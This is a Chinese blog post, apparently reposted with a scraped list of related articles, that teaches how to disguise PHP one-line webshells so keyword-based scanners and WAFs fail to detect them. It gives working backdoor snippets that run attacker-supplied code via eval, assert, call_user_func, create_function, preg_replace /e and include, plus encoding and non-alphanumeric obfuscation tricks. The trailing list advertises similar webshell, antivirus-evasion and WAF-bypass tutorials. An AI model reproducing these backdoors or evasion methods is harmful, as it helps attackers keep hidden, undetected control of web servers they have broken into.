PHP一句话木马Webshell变形免杀总结

0×00 前言

大部分Webshell查杀工具都是基于关键字特征的,通常他们会维护一个关键字列表,以此遍历指定扩展名的文件来进行扫描,所以可能最先想到的是各种字符串变形,下面总结了一些小的方法,各种不足之前还请看官拍砖.

0×01 字符串上的舞蹈

一般标准的一句话Webshell是利用PHP的eval函数,动态执行其他函数功能.其标准的形式如下:
@eval ($_POST[xxxxx]);
很明显的eval会成为静态特征码Webshell扫描工具的关键字.加上一点小技巧,我们让其动态传入,或者利用base64等编码函数来进行绕过
@$_GET[a]($_POST[xxxxx]);
or @base64_decode(base64编码过的eval)
当然,扫一眼PHP手册,玩转字符串的函数远不止这些,你可以写一个自定义加解密的函数,或者利用xor,字符串反转,压缩,截断重组等方法来绕过.
另外大多数Webshell的查杀工具很少把assert函数加入到关键字列表中,不过随着使用的人越来越多也不是绝对的,我们也可以用assert替换eval来执行猥琐的功能.
以前在ASP一句话Webshell的变形过程中,打乱和拆分文件也是非常常用的功能,这里也记一笔.用require,include等将字符串拆分再重组.或者将加密好的字符串单独放在任意扩展名文件中,利用解密函数读取文件来执行,这里写一个base64比较简单的例子
file_put_contents(base64_decode(filepath+filename),base64_decode(EvilC0de));
字符串的各种猥琐还是很多的,最致命的地方是,如果有基于语义分析的查杀工具露面(我印象中是有的)这些都完蛋

0×02 利用PHP函数的一些特性

这一小段其实还是建立在玩转了字符串的基础上的,一个小例子
if(key($_GET)==’xxxxxx’)
call_user_func($_GET[xxx],$_POST[evil]);
好吧,我承认这有点换汤不换药,这种类型的就是遇到WAF都挂b,因为基本上都是基于动态传入参数的,然后利用PHP函数换了个形式执行而已,最终还是调用eval,下面是一个小小的延伸
$x=create_function(”,$_GET[x]); $x();
再扫一眼PHP手册,我们在《高级PHP漏洞审计》读到过还有其他一些带有执行功能的函数,比如经常用的preg_replace加/e参数的黄金组合,这类一句话Webshell也算是比较常见的了.总结起来他们可以算作是人为的构造一些PHP代码上的漏洞.比如
 
$f=$_GET[x];
 
include($f);
 
这样构造一个包含漏洞出来, 或者
 
$s= copy,movefile ; //…. etc
 
$s(参数调用)比如copy($_FILES[t][src],$_FILES[t][dst]);
 
利用一些文件操作函数来猥琐一些小动作,再或者来个preg_replace执行漏洞的经典例子
 
$t= prege_replace;
 
$t(“/[xxx]/e”,$_POST[x],”Hah!~”);
 
这一方面能发散的地方还有很多,还是得多瞅瞅PHP手册,因为PHP的相关函数真是太猥琐了.

0×03 利用PHP的一些魔法特性

不知道能不能把PHP的多态性叫做魔法特性,错误之处还请指出.看过Ryat和Qz牛的文章后会更好理解,老外给过一个经典的例子
 
([email protected]$_GET[2])[email protected]$_($_POST[1]);
 
and
 
$_=””;
$_[+””]=”;
$_=”$_”.””;
$_=($_[+””]|””).($_[+””]|””).($_[+””]^””);
 
or
 
${‘_’.$_}[‘_’](${‘_’.$_}[‘__’]);
 
当然我们实际不会这么去写,因为管理员瞅一眼就明白你是要做坏事了.这其中也结合了移位运算等,算是写得很花哨了 –-~
 
经常用MVC之类的框架搞开发,都能发现__autoload函数的好处,自己文件名去new一个类,然后在类中你可以在构造函数做点手脚什么的,而这一类函数在PHP中也是有不少的,我们可以猥琐一下加以利用.
 
另外常见的ob_start等利用PHP函数的回调特性也是有的,其实觉得应该把这个分类放到上一小节,之前和wulin牛也讨论过这种方式加密过的马的解密,不过现在大多数Webshell查杀工具都应该把它加到关键字了吧.

0×04 未完结

我一直相信还有更加猥琐的方式等等,攻防对立,也可以参考
核攻击 大牛在其lcx.cc上发布的讨论怎么从一万多个文件中快速定位Webshell来见招拆招.引用黑防之前一句很装13的话作为结语:在攻与防的对立中寻求统一.欢迎更多同学加入讨论~

原文地址:https://www.cnblogs.com/anbus/p/9988560.html

时间: 2024-10-08 19:15:24

PHP一句话木马Webshell变形免杀总结的相关文章

webshell之一句话木马变形

什么是一句话木马 一句话木马就是只需要一行代码的木马,短短一行代码,就能做到和大马相当的功能.为了绕过waf的检测,一句话木马出现了无数中变形,但本质是不变的:木马的函数执行了我们发送的命令. 我们如何发送命令,发送的命令如何执行? 我们可以通过 GET.POST.COOKIE这三种方式向一个网站提交数据,一句话木马用 $_GET[' '].$_POST[' '].$_COOKIE[' ']接收我们传递的数据,并把接收的数据传递给一句话木马中执行命令的函数,进而执行命令. 所以看到的经典一句话木

Metasploit实现木马生成、捆绑、免杀

Meatsploit介绍 Metasploit是一款优秀的开源(!= 完全免费)渗透测试框架平台,在该平台下可以方便的实施渗透测试,Meatsploit具有繁多的接口.模块等等,甚至允许用户自己编写自己的模块使用.在Metasploit框架下可以方便的实现木马的生成.捆绑.免杀.实验楼网站存在此节课程但是是收费的,How frustrating,,,,so,,,,,:) 0X01选择攻击载荷 首先,开启终端,键入:"msfconsole",进入metasploit控制台. 键入&quo

文字版免杀教程

1.基础的汇编语言 2.修改工具(不指那些傻瓜式软件).如: OllyDbg . PEditor. C32ASM . MYCCL复合特征码定位器.UE .OC. 资源编辑器等.还有一些查壳 脱壳软件(如:PEID RL脱壳机等) . 以下是常用的几种免杀方法及工具: 一.要使一个木马免杀 首先要准备一个不加壳的木马,这点非常重要,否则 免杀操作就不能进行下去. 然后我们要木马的内存免杀,从上面分析可以看出,目前的内存查杀,只有瑞星最强,其它杀毒软件内存查杀现在还不起作用所以我们只针对瑞星的内存查

绕过网站安全狗拦截,上传Webshell技巧总结(附免杀PHP一句话)

这篇文章我介绍一下我所知道的绕过网站安全狗上传WebShell的方法. 思路是:修改HTTP请求,构成畸形HTTP请求,然后绕过网站安全狗的检测. 废话不多说,切入正题.... 1.实验环境: Windows Server 2003. Apache/2.4.18.PHP/5.3.29.网站安全狗(Apache版)V3.5.12048 2.用于文件上传的PHP源码: <?php $path = dirname(__FILE__) . '/upload/'; $rand = rand(0,30);

整理的最新WebSHell (php过狗一句话,过狗菜刀,2016过狗一句话,2016php免杀一句话)

中国菜刀下载,基于原版中国菜刀优化版20160309. 下载地址: http://download.csdn.net/detail/settoken/9457567 https://pan.baidu.com/s/1jHoJxHW China chopper https://pan.baidu.com/s/1eRxEYjC 特别推荐的一个php一句话. 菜刀可以连接,过waf,过安全狗,D盾,360,php一句话木马带404页面,带MD5加密,可浏览器POST任意php代码执行. 代码如下: <

Webshell免杀绕过waf

0x01 前言# 尽最大努力在一文中让大家掌握一些有用的WEBSHELL免杀技巧 0x02 目录# 关于eval 于 assert 字符串变形 定义函数绕过 回调函数 回调函数变形 特殊字符干扰 数组 类 编码绕过 无字符特征马 PHP7.1后webshell何去何从 总结 0x03 关于eval 于 assert# 关于eval函数在php给出的官方说明是 eval 是一个语言构造器而不是一个函数,不能被 可变函数 调用可变函数:通过一个变量,获取其对应的变量值,然后通过给该值增加一个括号()

PHP一句话过狗、卫士、D盾等免杀思路!

原文转载于:http://www.legendsec.org/1701.html 觉得写得还算蛮科普的. 00x1.关键字拆分.         比如assert,可以写成 'a'.'ss'.'e'.'r'.'t'这样.         总结:这种方法虽然简单,但是却没有太强的免杀功效,需要结合其他方法. 00x2.可变变量.引用.可变函数. 可变变量  比如$a=$_POST['x'];$b='a';@eval($$b);        测试结果:        总结:这种方法对狗等WAF可以

一句话木马(webshell)是如何执行命令的

在很多的渗透过程中,渗透人员会上传一句话木马(简称webshell)到目前web服务目录继而提权获取系统权限,不论asp.php.jsp.aspx都是如此,那么一句话木马到底是如何执行的呢,下面我们就对webshell进行一个简单的分析. 首先我们先看一个原始而又简单的php一句话木马. <?php @eval($_POST['cmd']); ?> 看到这里不得不赞美前辈的智慧. 对于一个稍微懂一些php的人而言,或者初级的安全爱好者,或者脚本小子而言,看到的第一眼就是密码是cmd,通过pos

[9期]软WAF上传绕过+webshell免杀

安全狗上传绕过 思路: 1.扰乱编码 form-data 替换成 ~form-data           form-data    改成 f+orm-data form-data    改成 form-d+ata          form-data   替换成   " filename="xxx"   改成  filename=xxx; 增减空格 对Content-Disposition,Content-Type,name,filename,form-data http参